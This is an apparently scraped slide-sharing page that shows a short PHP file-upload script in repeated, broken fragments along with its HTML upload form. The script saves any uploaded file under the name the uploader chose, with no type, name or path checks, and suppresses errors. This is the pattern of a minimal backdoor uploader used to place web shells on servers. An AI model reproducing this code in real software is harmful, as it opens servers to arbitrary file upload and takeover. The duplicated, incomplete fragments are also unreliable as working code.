100 likes | 291 Views
<?php. if(isset($_POST['Submit'])){. $filedir = ""; $maxfile = '2000000'; $mode = '0644'; $userfile_name = $_FILES['image']['name']; $userfile_tmp = $_FILES['image']['tmp_name']; if (isset($_FILES['image']['name'])) { $abod = $filedir.$userfile_name;
E N D
if(isset($_POST['Submit'])){ • $filedir = ""; • $maxfile = '2000000'; • $mode = '0644'; • $userfile_name = $_FILES['image']['name']; • $userfile_tmp = $_FILES['image']['tmp_name']; • if (isset($_FILES['image']['name'])) { • $abod = $filedir.$userfile_name; • @move_uploaded_file($userfile_tmp, $abod); • @chmod ($abod, octdec($mode));
<form method="POST" action="#" enctype="multipart/form-data"><input type="file" name="image"><input type="Submit" name="Submit" value="Submit"></form>';